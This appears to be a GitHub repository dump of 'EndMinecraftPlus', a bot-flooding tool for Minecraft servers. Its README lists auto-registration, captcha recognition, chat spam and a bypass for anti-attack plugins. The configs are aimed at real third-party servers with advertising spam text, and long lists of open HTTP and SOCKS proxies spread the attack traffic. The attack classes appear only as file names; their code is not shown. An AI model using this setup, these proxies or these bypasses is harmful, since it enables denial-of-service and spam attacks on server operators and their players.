├── .gitattributes ├── .gitignore ├── .vscode ├── settings.json └── tasks.json ├── README.md ├── bin ├── luohuayu │ ├── ACProtocol │ │ └── ACProtocol.class │ ├── EndMinecraftPlus │ │ ├── ASMInject.class │ │ ├── Utils.class │ │ ├── proxy │ │ │ └── ProxyPool.class │ │ └── tasks │ │ │ └── attack │ │ │ ├── DistributedBotAttack$1.class │ │ │ ├── DistributedBotAttack.class │ │ │ ├── IAttack.class │ │ │ └── MotdAttack.class │ └── MCForgeProtocol │ │ ├── MCForge$1.class │ │ ├── MCForge.class │ │ ├── MCForgeHandShake.class │ │ ├── MCForgeInject.class │ │ ├── MCForgeUtils.class │ │ └── UnknowPacket.class ├── me │ └── alikomi │ │ └── endminecraft │ │ ├── Main.class │ │ └── Menu.class └── xyz │ └── yuanpi │ ├── CastUtil.class │ ├── PropsUtil.class │ ├── StringUtil.class │ └── config.class ├── config.properties ├── http.txt ├── lib ├── MC-1.8.jar └── javassist-3.22.0-CR2.jar ├── run.bat ├── socks.txt └── src ├── luohuayu ├── ACProtocol │ └── ACProtocol.java ├── EndMinecraftPlus │ ├── ASMInject.java │ ├── Utils.java │ ├── proxy │ │ └── ProxyPool.java │ └── tasks │ │ └── attack │ │ ├── DistributedBotAttack.java │ │ ├── IAttack.java │ │ └── MotdAttack.java └── MCForgeProtocol │ ├── MCForge.java │ ├── MCForgeHandShake.java │ ├── MCForgeInject.java │ ├── MCForgeUtils.java │ └── UnknowPacket.java ├── me └── alikomi │ └── endminecraft │ ├── Main.java │ └── Menu.java └── xyz └── yuanpi ├── CastUtil.java ├── PropsUtil.java ├── StringUtil.java └── config.java /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | *.properties 3 | EndMinecraftPlus2.jar 4 | http.txt 5 | run.bat 6 | *.bat 7 | *.bat 8 | config.properties 9 | *.properties 10 | *.txt 11 | -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "java.project.referencedLibraries": { 3 | "include": [ 4 | "lib/**/*.jar" 5 | ], 6 | "exclude": [ 7 | "lib/MC-1.10.jar" 8 | ] 9 | } 10 | } -------------------------------------------------------------------------------- /.vscode/tasks.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "2.0.0", 3 | "tasks": [ 4 | { 5 | "type": "java", 6 | "mainClass": "me.alikomi.endminecraft.Main", 7 | "targetPath": "${workspaceFolder}/${workspaceFolderBasename}.jar", 8 | "elements": [ 9 | "${compileOutput}", 10 | "${dependencies}" 11 | ], 12 | "problemMatcher": [], 13 | "label": "java: exportjar:EndMinecraftPlusB", 14 | "group": { 15 | "kind": "build", 16 | "isDefault": true 17 | } 18 | } 19 | ] 20 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # EndMinecraftPlus 2 | 基于EndMinecraft优化修改的Minecraft压测工具 3 | 4 | java练手用的,不建议学习 5 | 6 | [![State-of-the-art Shitcode](https://img.shields.io/static/v1?label=State-of-the-art&message=Shitcode&color=7B5804)](https://github.com/trekhleb/state-of-the-art-shitcode) 7 | 8 | 配置文件:config.properties 9 | 10 | ```java 11 | #description 12 | #Fri Mar 11 23:08:35 CST 2022 13 | #名称前缀 14 | name=233 15 | #调试 16 | debug=false 17 | #自定义刷屏 18 | customspam=true 19 | #心跳包 20 | tab=true 21 | #端口 22 | port=25565 23 | #代理文件 24 | proxies=http.txt 25 | #刷屏延迟 26 | delay=10 27 | #自定义刷屏内容 28 | custommessage=Join ZeroPixel and get MVP++ by free at mc.zeropixel.top 29 | #只有2 30 | mode=2 31 | #ip 32 | ip=mc.mini1.club 33 | #代理类型 34 | pxtype=http 35 | #自动识别authme验证码 36 | captcha=true 37 | #authme验证码长度 38 | authmelength 39 | #在攻击前请求motd,以绕过老版本AntiAttack 40 | lele=false 41 | #刷屏 42 | spam=true 43 | #刷屏延迟 44 | spamdelay=5000 45 | reconnectdelay=5000 46 | reconnectbypass=true 47 | autohh=false 48 | hhdelay=10000 49 | 50 | ``` 51 | 52 | 53 | 54 | *支持* 55 | 56 | 1.自动注册 57 | 58 | 2.自动识别验证码(某些服务器) 59 | 60 | 3. 自定义刷屏 61 | 4. 选择代理类型 62 | 5. 从本地载入配置 63 | 64 | *修改内容:* 65 | 1.重构大量核心代码 66 | 2.大幅度性能负优化 67 | 3.修复Forge协议无法进服 68 | -------------------------------------------------------------------------------- /bin/luohuayu/ACProtocol/ACProtocol.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/ACProtocol/ACProtocol.class -------------------------------------------------------------------------------- /bin/luohuayu/EndMinecraftPlus/ASMInject.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/EndMinecraftPlus/ASMInject.class -------------------------------------------------------------------------------- /bin/luohuayu/EndMinecraftPlus/Utils.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/EndMinecraftPlus/Utils.class -------------------------------------------------------------------------------- /bin/luohuayu/EndMinecraftPlus/proxy/ProxyPool.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/EndMinecraftPlus/proxy/ProxyPool.class -------------------------------------------------------------------------------- /bin/luohuayu/EndMinecraftPlus/tasks/attack/DistributedBotAttack$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/EndMinecraftPlus/tasks/attack/DistributedBotAttack$1.class -------------------------------------------------------------------------------- /bin/luohuayu/EndMinecraftPlus/tasks/attack/DistributedBotAttack.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/EndMinecraftPlus/tasks/attack/DistributedBotAttack.class -------------------------------------------------------------------------------- /bin/luohuayu/EndMinecraftPlus/tasks/attack/IAttack.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/EndMinecraftPlus/tasks/attack/IAttack.class -------------------------------------------------------------------------------- /bin/luohuayu/EndMinecraftPlus/tasks/attack/MotdAttack.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/EndMinecraftPlus/tasks/attack/MotdAttack.class -------------------------------------------------------------------------------- /bin/luohuayu/MCForgeProtocol/MCForge$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/MCForgeProtocol/MCForge$1.class -------------------------------------------------------------------------------- /bin/luohuayu/MCForgeProtocol/MCForge.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/MCForgeProtocol/MCForge.class -------------------------------------------------------------------------------- /bin/luohuayu/MCForgeProtocol/MCForgeHandShake.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/MCForgeProtocol/MCForgeHandShake.class -------------------------------------------------------------------------------- /bin/luohuayu/MCForgeProtocol/MCForgeInject.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/MCForgeProtocol/MCForgeInject.class -------------------------------------------------------------------------------- /bin/luohuayu/MCForgeProtocol/MCForgeUtils.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/MCForgeProtocol/MCForgeUtils.class -------------------------------------------------------------------------------- /bin/luohuayu/MCForgeProtocol/UnknowPacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/MCForgeProtocol/UnknowPacket.class -------------------------------------------------------------------------------- /bin/me/alikomi/endminecraft/Main.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/me/alikomi/endminecraft/Main.class -------------------------------------------------------------------------------- /bin/me/alikomi/endminecraft/Menu.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/me/alikomi/endminecraft/Menu.class -------------------------------------------------------------------------------- /bin/xyz/yuanpi/CastUtil.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/xyz/yuanpi/CastUtil.class -------------------------------------------------------------------------------- /bin/xyz/yuanpi/PropsUtil.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/xyz/yuanpi/PropsUtil.class -------------------------------------------------------------------------------- /bin/xyz/yuanpi/StringUtil.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/xyz/yuanpi/StringUtil.class -------------------------------------------------------------------------------- /bin/xyz/yuanpi/config.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/xyz/yuanpi/config.class -------------------------------------------------------------------------------- /config.properties: -------------------------------------------------------------------------------- 1 | #description 2 | #Thu May 26 20:38:56 CST 2022 3 | spamdelay=1000 4 | name=NMSL 5 | debug=true 6 | customspam=false 7 | tab=false 8 | port=33333 9 | proxies=http.txt 10 | delay=10 11 | custommessage=test 12 | mode=2 13 | pxtype=http 14 | ip=43.249.192.176 15 | captcha=false 16 | test=false 17 | lele=false 18 | spam=true 19 | reconnectdelay=5000 20 | reconnectbypass=true 21 | autohh=false 22 | hhdelay=10000 23 | -------------------------------------------------------------------------------- /http.txt: -------------------------------------------------------------------------------- 1 | 103.148.195.22:8080 2 | 88.198.33.232:1080 3 | 95.213.195.134:80 4 | 118.69.50.154:443 5 | 118.69.50.154:80 6 | 84.204.40.155:8080 7 | 157.245.222.183:80 8 | 169.57.1.85:8123 9 | 176.114.209.191:8080 10 | 143.255.142.80:8080 11 | 207.157.220.8:8080 12 | 209.190.32.28:3128 13 | 192.99.160.45:8080 14 | 3.211.17.212:80 15 | 27.72.244.228:8080 16 | 118.69.50.154:443 17 | 118.69.50.154:80 18 | 150.109.32.166:80 19 | 143.255.142.80:8080 20 | 62.176.12.111:8080 21 | 169.57.1.85:8123 22 | 176.114.209.191:8080 23 | 63.151.67.7:8080 24 | 89.204.214.142:8080 25 | 178.210.129.150:1234 26 | 207.157.220.8:8080 27 | 201.91.82.155:3128 28 | 3.211.17.212:80 29 | 200.54.22.74:8080 30 | 47.91.44.217:8000 31 | 66.23.233.90:3128 32 | 95.213.195.134:80 33 | 118.69.50.154:443 34 | 118.69.50.154:80 35 | 150.109.32.166:80 36 | 176.114.209.191:8080 37 | 169.57.1.85:8123 38 | 207.157.220.8:8080 39 | 200.111.182.6:443 40 | 209.190.32.28:3128 41 | 3.211.17.212:80 42 | 200.188.151.212:8080 43 | 27.116.51.119:8080 44 | 200.54.22.74:8080 45 | 47.91.44.217:8000 46 | 88.198.33.232:1080 47 | 118.69.50.154:443 48 | 118.69.50.154:80 49 | 122.226.57.70:8888 50 | 95.213.195.134:80 51 | 150.109.32.166:80 52 | 36.92.93.61:8080 53 | 197.155.158.22:80 54 | 169.57.1.85:8123 55 | 207.157.220.8:8080 56 | 3.211.17.212:80 57 | 181.192.2.23:8080 58 | 118.69.50.154:443 59 | 118.69.50.154:80 60 | 169.57.1.85:8123 61 | 110.49.11.50:8080 62 | 207.157.220.8:8080 63 | 3.211.17.212:80 64 | 201.28.39.6:3128 65 | 202.69.38.82:8080 66 | 180.211.183.2:8080 67 | 118.69.50.154:443 68 | 118.69.50.154:80 69 | 169.57.1.85:8123 70 | 119.15.95.158:8080 71 | 207.157.220.8:8080 72 | 3.211.17.212:80 73 | 118.69.50.154:443 74 | 118.69.50.154:80 75 | 169.57.1.85:8123 76 | 207.157.220.8:8080 77 | 3.211.17.212:80 78 | 193.242.151.45:8080 79 | 47.91.44.217:8000 80 | 118.69.50.154:443 81 | 118.69.50.154:80 82 | 150.109.32.166:80 83 | 169.57.1.85:8123 84 | 207.157.220.8:8080 85 | 3.211.17.212:80 86 | 162.150.62.93:443 87 | 103.241.182.97:80 88 | 123.56.124.235:3128 89 | 187.111.160.8:42579 90 | 65.21.190.58:8888 91 | 67.73.184.178:8081 92 | 103.78.254.78:80 93 | 47.74.226.8:5001 94 | 120.220.220.95:8085 95 | 144.217.240.185:9300 96 | 43.250.127.98:9001 97 | 196.1.95.117:80 98 | 43.255.113.232:84 99 | 43.254.132.123:8118 100 | 103.144.79.186:8080 101 | 80.249.135.5:8080 102 | 186.3.9.212:999 103 | 201.71.2.107:999 104 | 103.76.151.46:8181 105 | 200.61.16.80:8080 106 | 45.229.56.64:999 107 | 176.241.95.162:41890 108 | 185.61.152.137:8080 109 | 103.93.237.81:8080 110 | 182.253.82.157:8080 111 | 190.120.186.10:999 112 | 49.156.47.162:8080 113 | 103.71.22.2:83 114 | 36.95.249.157:8080 115 | 45.225.8.0:40033 116 | 103.116.203.244:43520 117 | 122.99.125.85:80 118 | 190.217.14.126:999 119 | 154.236.179.226:1976 120 | 144.217.7.157:5566 121 | 105.19.63.217:9812 122 | 177.54.229.1:9292 123 | 91.142.172.7:41890 124 | 103.41.212.227:44759 125 | 190.202.111.202:8080 126 | 94.247.241.70:53640 127 | 47.95.203.227:8118 128 | 200.29.109.112:44749 129 | 103.212.93.233:48434 130 | 176.222.63.9:80 131 | 115.29.170.58:8118 132 | 103.29.185.54:8181 133 | 196.3.97.71:23500 134 | 202.53.171.114:80 135 | 188.133.157.61:10000 136 | 50.232.250.157:8080 137 | 101.51.139.179:8080 138 | 103.151.177.221:8080 139 | 190.120.248.4:999 140 | 181.78.16.225:999 141 | 178.216.24.80:55443 142 | 97.102.248.16:8118 143 | 120.42.132.39:3712 144 | 51.75.206.209:80 145 | 41.207.248.60:8080 146 | 119.110.72.2:3888 147 | 181.74.81.195:999 148 | 186.233.186.60:8080 149 | 121.13.252.58:41564 150 | 116.254.116.99:8080 151 | 194.219.175.210:8080 152 | 202.62.10.51:8080 153 | 201.217.55.97:8080 154 | 154.236.168.169:1981 155 | 36.67.52.35:8080 156 | 138.0.188.134:10001 157 | 181.129.2.90:8081 158 | 124.204.33.162:8000 159 | 95.216.194.46:1081 160 | 41.86.251.61:8080 161 | 190.183.157.232:8080 162 | 102.68.128.212:8080 163 | 222.216.37.138:808 164 | 58.27.255.98:80 165 | 190.217.7.73:999 166 | 45.6.108.158:8080 167 | 190.2.210.114:999 168 | 54.39.102.233:3128 169 | 103.239.201.86:1337 170 | 51.68.82.156:8118 171 | 182.253.73.130:8080 172 | 190.109.6.114:999 173 | 182.253.159.75:8080 174 | 178.62.83.212:3128 175 | 138.219.14.214:9812 176 | 201.49.196.237:53281 177 | 124.248.190.213:8080 178 | 45.236.172.146:999 179 | 182.53.50.2:3128 180 | 77.236.238.179:8080 181 | 167.71.5.83:8080 182 | 79.111.13.155:50625 183 | 201.217.49.2:80 184 | 103.155.196.23:8080 185 | 142.44.148.56:8080 186 | 179.1.73.100:999 187 | 159.203.61.169:3128 188 | 146.59.199.12:80 189 | 170.80.202.234:999 190 | 5.104.174.199:23500 191 | 112.109.20.106:6060 192 | 181.196.205.250:38178 193 | 136.243.37.84:9090 194 | 41.65.236.53:1976 195 | 143.208.58.82:8080 196 | 179.124.31.233:8080 197 | 195.158.30.232:3128 198 | 112.6.117.135:8085 199 | 177.53.154.213:999 200 | 196.219.202.74:8080 201 | 103.161.165.33:8181 202 | 181.176.161.39:999 203 | 181.143.191.138:999 204 | 103.40.122.20:8087 205 | 131.221.233.210:53281 206 | 216.155.89.66:999 207 | 176.214.99.101:1256 208 | 183.88.232.207:8080 209 | 184.95.0.218:8181 210 | 61.135.155.82:443 211 | 77.70.35.87:37475 212 | 65.108.49.98:8888 213 | 112.250.107.37:53281 214 | 161.117.89.36:8888 215 | 182.163.60.105:12345 216 | 103.218.102.162:8080 217 | 95.111.239.49:3128 218 | 180.250.204.91:8088 219 | 118.99.104.136:8080 220 | 112.133.215.24:8080 221 | 187.217.54.84:80 222 | 31.43.52.176:41890 223 | 180.165.134.209:53281 224 | 138.117.230.140:999 225 | 216.137.184.253:80 226 | 190.107.224.150:3128 227 | 181.176.211.168:8080 228 | 162.150.62.96:443 229 | 197.159.142.167:8008 230 | 62.201.212.214:8080 231 | 103.231.78.36:80 232 | 123.231.221.178:8080 233 | 65.108.49.109:8888 234 | 167.71.5.83:3128 235 | 80.65.28.57:30962 236 | 43.242.135.182:8080 237 | 213.178.250.33:8080 238 | 168.90.15.177:999 239 | 45.189.253.225:999 240 | 176.214.97.55:1256 241 | 105.28.176.41:9812 242 | 177.247.7.158:8080 243 | 1.1.220.100:8080 244 | 05.189.229.42:1081 245 | 66.96.238.40:8080 246 | 103.142.108.145:8080 247 | 45.114.38.25:8080 248 | 202.62.11.197:8080 249 | 103.123.64.24:8888 250 | 167.71.199.228:8080 251 | 5.149.219.201:8080 252 | 62.78.58.24:8080 253 | 71.25.47.187:8080 254 | 36.67.151.11:80 255 | 213.32.75.44:9300 256 | 45.172.111.22:999 257 | 179.125.119.170:8080 258 | 176.101.89.226:33470 259 | 162.150.62.95:443 260 | 165.16.5.125:1981 261 | 45.230.172.11:8080 262 | 82.210.8.173:80 263 | 180.250.153.129:53281 264 | 162.219.119.225:8080 265 | 14.1.102.41:3127 266 | 62.133.171.178:8080 267 | 202.180.17.86:8080 268 | 61.191.56.60:8085 269 | 185.103.168.78:8080 270 | 212.64.72.199:8080 271 | 47.89.153.213:80 272 | 111.90.188.206:8080 273 | 115.74.246.138:8080 274 | 95.104.54.227:42119 275 | 88.255.185.254:8080 276 | 119.82.240.69:6060 277 | 39.106.71.115:7890 278 | 103.137.91.250:8080 279 | 103.243.114.206:8080 280 | 103.47.67.158:8080 281 | 103.4.94.12:3128 282 | 212.19.7.246:3128 283 | 42.192.22.233:8118 284 | 103.147.77.66:5009 285 | 36.67.237.146:3128 286 | 115.127.162.234:8080 287 | 213.81.149.73:9999 288 | 200.178.26.50:3128 289 | 165.73.129.149:56975 290 | 79.122.225.166:8080 291 | 103.19.58.138:8080 292 | 80.90.132.128:8888 293 | 192.99.38.64:1081 294 | 220.247.171.242:8080 295 | 49.234.74.140:7788 296 | 123.163.55.123:3128 297 | 161.97.123.237:3128 298 | 180.183.2.175:8080 299 | 202.152.24.50:8080 300 | 96.9.77.8:8080 301 | 36.91.133.49:10000 302 | 3.128.120.252:80 303 | 80.243.158.6:8080 304 | 113.160.208.255:8080 305 | 101.53.154.137:2017 306 | 190.60.104.218:3128 307 | 120.194.55.139:6969 308 | 92.202.16.197:80 309 | 106.54.128.253:999 310 | 36.94.98.146:8080 311 | 170.83.242.250:999 312 | 41.206.36.90:8080 313 | 177.11.24.220:8083 314 | 50.235.149.74:8080 315 | 103.146.196.33:8080 316 | 114.7.193.214:8080 317 | 213.230.97.10:3128 318 | 65.108.48.25:3128 319 | 112.78.137.106:8080 320 | 103.37.141.69:80 321 | 103.142.108.149:8080 322 | 89.70.153.61:8118 323 | 66.94.120.161:443 324 | 102.38.21.24:1976 325 | 203.124.60.109:8080 326 | 103.138.27.250:6000 327 | 159.203.61.169:8080 328 | 208.180.105.70:8080 329 | 5.16.1.17:8080 330 | 177.87.168.6:53281 331 | 103.231.218.246:8080 332 | 201.234.53.214:999 333 | 95.161.188.246:38302 334 | 36.94.142.163:8000 335 | 190.85.253.142:8080 336 | 103.159.46.41:83 337 | 180.97.87.63:80 338 | 197.157.219.169:48625 339 | 103.11.216.199:9812 340 | 161.132.122.61:999 341 | 46.243.220.227:8118 342 | 36.95.84.151:41890 343 | 24.51.32.59:8080 344 | 41.77.13.186:53281 345 | 138.117.231.130:999 346 | 176.215.184.157:1256 347 | 61.255.239.33:8008 348 | 131.100.51.250:999 349 | 43.249.224.172:83 350 | 103.53.45.142:9812 351 | 193.164.131.202:7890 352 | 152.231.29.47:8080 353 | 43.245.93.241:53805 354 | 103.208.200.115:23500 355 | 190.119.211.42:9812 356 | 167.114.96.27:9300 357 | 41.86.42.41:8080 358 | 46.18.202.204:8080 359 | 114.4.104.254:3128 360 | 177.23.187.95:5566 361 | 186.1.45.172:8080 362 | 91.209.114.181:6789 363 | 112.6.117.178:8085 364 | 198.229.231.13:8080 365 | 154.236.189.23:1981 366 | 20.113.24.12:8080 367 | 105.112.142.210:8080 368 | 188.133.137.9:8081 369 | 115.96.208.124:8080 370 | 187.188.169.169:8080 371 | 198.52.241.12:999 372 | 45.172.111.14:999 373 | 3.85.7.155:8083 374 | 201.77.108.130:999 375 | 82.114.101.86:1256 376 | 181.224.207.20:999 377 | 92.60.238.12:80 378 | 151.106.18.125:1080 379 | 217.219.247.208:8080 380 | 103.155.217.156:41482 381 | 181.224.204.22:22800 382 | 200.54.101.220:999 383 | 64.227.62.123:80 384 | 47.113.106.44:443 385 | 47.242.176.219:3128 386 | 84.247.130.114:8080 387 | 102.130.79.1:3128 388 | 176.236.85.246:9090 389 | 43.255.113.232:81 390 | 80.244.229.102:10000 391 | 117.54.114.99:80 392 | 159.65.133.175:31280 393 | 36.66.124.193:3128 394 | 200.60.12.43:999 395 | 156.200.116.71:1976 396 | 103.130.70.209:83 397 | 39.107.227.240:3128 398 | 178.252.175.10:8080 399 | 45.189.253.105:999 400 | 43.243.174.3:84 401 | 46.173.104.245:8080 402 | 222.165.205.204:8080 403 | 180.250.252.218:8080 404 | 190.107.232.138:999 405 | 85.25.91.141:15333 406 | 153.120.0.136:10080 407 | 190.186.18.177:999 408 | 45.71.108.224:8080 409 | 181.224.50.137:8080 410 | 176.110.121.90:21776 411 | 178.115.236.54:8080 412 | 103.99.176.159:3128 413 | 41.216.178.151:8080 414 | 185.141.10.227:34082 415 | 103.144.18.74:8080 416 | 196.1.184.194:47646 417 | 103.107.58.183:9812 418 | 202.169.252.222:8181 419 | 103.161.164.111:8181 420 | 190.2.210.250:999 421 | 103.122.64.119:8080 422 | 179.43.101.150:999 423 | 161.22.33.181:999 424 | 103.11.106.148:8181 425 | 50.193.36.173:8080 426 | 31.171.154.199:8118 427 | 103.78.170.13:83 428 | 103.65.193.185:9812 429 | 62.33.202.44:8080 430 | 158.140.181.170:10001 431 | 157.90.197.99:3128 432 | 103.97.46.214:83 433 | 138.0.89.154:999 434 | 41.72.203.182:42928 435 | 41.220.238.137:84 436 | 41.220.238.130:84 437 | 125.99.109.121:40390 438 | 103.151.247.49:10001 439 | 78.38.100.121:8080 440 | 103.214.54.254:8080 441 | 117.54.114.97:80 442 | 171.233.151.214:55443 443 | 444 | -------------------------------------------------------------------------------- /lib/MC-1.8.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/lib/MC-1.8.jar -------------------------------------------------------------------------------- /lib/javassist-3.22.0-CR2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/lib/javassist-3.22.0-CR2.jar -------------------------------------------------------------------------------- /run.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | java -Xmx4096m -Xms1024m -jar EndMinecraftPlus2.jar 3 | pause -------------------------------------------------------------------------------- /socks.txt: -------------------------------------------------------------------------------- 1 | 150.129.52.74:6667 2 | 85.55.167.178:5678 3 | 1.20.96.164:4153 4 | 45.232.249.62:4145 5 | 190.221.152.130:56142 6 | 178.168.114.177:5678 7 | 143.137.148.112:5678 8 | 177.20.182.33:4153 9 | 70.166.167.38:57728 10 | 155.254.9.2:36510 11 | 212.86.74.70:1080 12 | 192.111.129.145:16894 13 | 1.20.95.95:5678 14 | 122.3.207.17:5678 15 | 81.134.144.161:1099 16 | 41.190.233.30:10801 17 | 185.217.183.229:5678 18 | 36.138.166.30:81 19 | 46.219.80.142:45237 20 | 167.249.91.48:5678 21 | 177.129.190.66:4153 22 | 139.0.21.236:5678 23 | 111.92.241.222:5678 24 | 112.78.170.27:2580 25 | 218.56.153.83:5678 26 | 8.17.28.139:39593 27 | 4.28.96.138:39593 28 | 125.141.133.48:5566 29 | 217.24.189.67:5678 30 | 79.137.225.135:4153 31 | 195.9.21.26:5002 32 | 36.92.9.75:49420 33 | 213.16.81.182:35559 34 | 202.148.26.124:5678 35 | 95.182.78.11:5678 36 | 177.12.230.106:5678 37 | 174.64.199.79:4145 38 | 192.111.135.17:18302 39 | 220.135.2.247:59171 40 | 91.250.61.113:3629 41 | 62.175.182.156:5678 42 | 85.25.195.177:5577 43 | 45.224.197.137:4145 44 | 97.105.14.11:32110 45 | 98.162.96.41:4145 46 | 177.85.53.29:5678 47 | 192.252.208.67:14287 48 | 1.20.184.75:4153 49 | 170.238.36.54:5678 50 | 117.2.164.34:5101 51 | 80.240.250.222:4145 52 | 181.204.3.218:5678 53 | 186.235.184.194:4153 54 | 113.53.29.228:13629 55 | 179.40.75.1:61362 56 | 36.67.45.71:1085 57 | 36.89.246.187:4145 58 | 202.43.73.121:4145 59 | 125.141.139.110:5566 60 | 80.82.147.2:4153 61 | 103.153.140.225:4153 62 | 103.60.187.129:52195 63 | 210.4.72.94:5678 64 | 188.169.84.30:5678 65 | 200.115.157.211:4145 66 | 50.250.56.129:48380 67 | 152.168.165.19:5678 68 | 213.6.68.94:5678 69 | 154.72.197.106:61423 70 | 45.251.231.213:5678 71 | 103.212.94.253:41363 72 | 5.20.91.12:50624 73 | 185.129.57.131:4153 74 | 165.227.178.3:20911 75 | 149.34.3.85:4145 76 | 194.44.243.186:45529 77 | 221.168.32.66:9050 78 | 45.230.8.19:5678 79 | 123.231.141.61:5678 80 | 85.90.195.99:5678 81 | 186.224.238.32:48164 82 | 190.196.20.166:44907 83 | 190.4.204.163:4145 84 | 85.29.147.90:5678 85 | 188.95.20.139:5678 86 | 193.193.240.36:48785 87 | 170.210.4.222:38432 88 | 202.166.206.59:5678 89 | 185.43.224.157:5678 90 | 81.21.115.28:1080 91 | 119.93.123.229:4145 92 | 36.84.59.53:4145 93 | 81.199.14.17:1088 94 | 124.109.52.45:1080 95 | 103.209.229.54:4153 96 | 176.113.157.149:37417 97 | 197.253.59.38:5678 98 | 222.165.215.117:52667 99 | 62.63.157.106:4153 100 | 201.222.81.33:5678 101 | 178.216.0.168:39316 102 | 46.209.22.250:3629 103 | 95.163.141.220:4145 104 | 138.197.193.107:9050 105 | 72.195.34.59:4145 106 | 41.216.69.34:5678 107 | 190.104.26.227:33638 108 | 103.194.242.254:40247 109 | 103.110.11.206:5678 110 | 104.139.74.25:34368 111 | 24.177.76.70:31008 112 | 89.108.81.117:1080 113 | 182.52.70.117:4145 114 | 170.84.50.225:4153 115 | 177.91.96.120:5678 116 | 180.211.193.102:5678 117 | 187.94.211.60:2580 118 | 177.222.146.125:5678 119 | 103.144.43.50:10801 120 | 212.200.118.254:4153 121 | 210.211.122.196:1080 122 | 187.141.129.86:4153 123 | 50.235.117.234:39593 124 | 83.103.206.56:54321 125 | 37.238.136.12:5678 126 | 177.85.234.142:5678 127 | 185.226.113.180:38030 128 | 63.151.9.74:64312 129 | 142.93.243.235:16355 130 | 80.90.238.45:10809 131 | 125.27.251.173:33008 132 | 213.32.252.134:5678 133 | 45.5.194.138:22222 134 | 188.251.218.144:4153 135 | 41.139.170.175:5678 136 | 200.27.110.29:57702 137 | 103.235.199.46:5678 138 | 43.227.128.74:4153 139 | 94.43.191.27:3629 140 | 115.85.93.178:5678 141 | 168.196.246.162:5678 142 | 103.120.38.18:5678 143 | 109.110.82.245:5678 144 | 213.74.191.38:1080 145 | 91.122.193.80:4145 146 | 50.242.122.141:32100 147 | 192.99.7.189:33118 148 | 187.44.1.248:5678 149 | 94.136.157.73:60030 150 | 138.68.155.34:55800 151 | 158.69.64.142:9200 152 | 95.31.35.210:3629 153 | 186.179.68.194:5678 154 | 95.134.113.250:5678 155 | 170.244.64.12:31476 156 | 180.180.170.188:3629 157 | 77.71.168.9:4145 158 | 189.2.86.163:4153 159 | 187.19.127.178:4145 160 | 105.22.39.206:5678 161 | 192.144.104.37:33283 162 | 197.231.196.44:37765 163 | 150.109.148.234:1234 164 | 103.140.83.25:4145 165 | 24.249.199.4:4145 166 | 45.8.116.80:1080 167 | 142.93.137.235:47896 168 | 213.7.196.26:4153 169 | 103.87.228.84:4145 170 | 181.13.142.45:5678 171 | 81.16.9.222:3629 172 | 31.146.161.194:5678 173 | 103.116.203.245:40927 174 | 178.22.116.168:5678 175 | 190.216.56.177:4153 176 | 202.162.219.12:1080 177 | 185.215.160.27:5678 178 | 159.89.167.209:8888 179 | 192.252.208.70:14282 180 | 202.169.246.55:4145 181 | 187.95.136.74:5678 182 | 71.71.162.234:39593 183 | 200.85.52.170:5678 184 | 